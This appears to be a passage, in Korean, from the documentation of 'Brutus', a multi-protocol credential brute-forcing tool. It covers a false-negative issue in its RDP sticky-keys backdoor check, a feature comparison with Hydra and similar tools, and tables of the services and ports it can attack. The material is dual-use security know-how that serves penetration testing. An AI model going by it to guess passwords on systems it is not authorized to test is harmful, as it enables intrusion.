- **교차된 거짓 음성:** 휴리스틱 전용 탐지(`--experimental-ai` 없는 `brutus logon`)는 동일한 대상에 대해 반복 스캔할 때 거짓 음성을 생성할 수 있습니다. 성공적인 탐지 후에는 서버에 cmd.exe 창이 열려 있습니다. 이후 연결은 기준 프레임에 이미 cmd.exe가 존재하므로, 5회 Shift 키 전송이 새 창을 생성하지 않아 픽셀 차이가 최소화되어 "클린" 판정이 나옵니다. 이는 `--experimental-ai` 모드에는 영향을 주지 않습니다. 해당 모드는 응답 프레임 자체에 대해 Vision API 분석(기준-응답 차이 아님)을 사용하며, 이전 상태와 관계없이 터미널 창을 안정적으로 식별합니다.
- **해결 방법:** 반복 스캔에서 일관된 탐지를 위해 `ANTHROPIC_API_KEY`를 설정한 상태로 `--experimental-ai`를 사용하거나, RDP 세션이 리셋되도록 스캔 사이에 쿨다운을 두십시오.
### 브라우저 플러그인
- 로컬에 Chrome/Chromium이 설치되어 있어야 함
- 헤드리스 모드는 일부 시스템에서 작동하지 않을 수 있음
- 일부 JavaScript가 많은 로그인 페이지는 추가 대기 시간이 필요할 수 있음
| Feature | Hydra | Medusa | Ncrack | Brutus |
|---|
| 단일 바이너리 | ❌ | ❌ | ❌ | ✅ |
| 종속성 없음 | ❌ | ❌ | ❌ | ✅ |
| SOCKS5 프록시 | ✅ | ❌ | ❌ | ✅ |
| Nerva Pipeline | ❌ | ❌ | ❌ | ✅ |
| Nmap/Masscan 가져오기 | ❌ | ❌ | ❌ | ✅ |
| JSON 스트리밍 | ⚠️ | ❌ | ❌ | ✅ |
| 크로스 플랫폼 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 일관된 오류 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 활발한 개발 | ✅ | ⚠️ | ❌ | ✅ |
| 내장된 배드 키 | ❌ | ❌ | ❌ | ✅ |
| Go 라이브러리 가져오기 | ❌ | ❌ | ❌ | ✅ |
| 프로토콜 | 포트 | 인증 방법 | 사용 사례 |
|---|
| SSH | 22 | 비밀번호, 개인 키 | 서버, 네트워크 장비 |
| FTP | 21 | 비밀번호 | 파일 서버, NAS 장치 |
| Telnet | 23 | 비밀번호 | 레거시 시스템, IoT 장치 |
| VNC | 5900 | 비밀번호 | 원격 데스크톱 |
| RDP | 3389 | NLA/CredSSP, 비밀번호 | Windows 서버, 워크스테이션 |
| SNMP | 161 | 커뮤니티 문자열 | 네트워크 장치, 프린터 |
| 프로토콜 | 포트 | 인증 방법 | 사용 사례 |
|---|
| SMB | 445 | 비밀번호, NTLM | Windows 네트워크, 파일 공유 |
| LDAP | 389/636 | 바인드 DN | Active Directory, 아이덴티티 |
| WinRM | 5985/5986 | NTLM | Windows 원격 관리 |
| 프로토콜 | 포트 | 인증 방법 | 사용 사례 |
|---|
| MySQL | 3306 | 비밀번호 | 웹 애플리케이션 |
| PostgreSQL | 5432 | 비밀번호 | 현대 애플리케이션 |
| MSSQL | 1433 | 비밀번호 | 엔터프라이즈 애플리케이션 |
| MongoDB | 27017 | 비밀번호 | NoSQL 백엔드 |
| Redis | 6379 | 비밀번호 | 캐싱, 세션 |
| Neo4j | 7687 | 비밀번호 | 그래프 데이터베이스 |
| Cassandra | 9042 | 비밀번호 | 분산 데이터베이스 |
| CouchDB | 5984 | HTTP 기본 인증 | 문서 저장소 |
| Elasticsearch | 9200 | HTTP 기본 인증 | 검색 엔진 |
| InfluxDB | 8086 | HTTP 기본 인증 | 시계열 데이터 |
| Oracle | 1521 | 비밀번호 | 엔터프라이즈 데이터베이스 |
| 프로토콜 |
|---|
| 포트 |
|---|
| 인증 방법 |
|---|
| 사용 사례 |
|---|
| SMTP | 25/587 | 비밀번호 | 메일 릴레이 |
| IMAP | 143/993 | 비밀번호 | 사서함 접근 |
| POP3 | 110/995 | 비밀번호 | 사서함 접근 |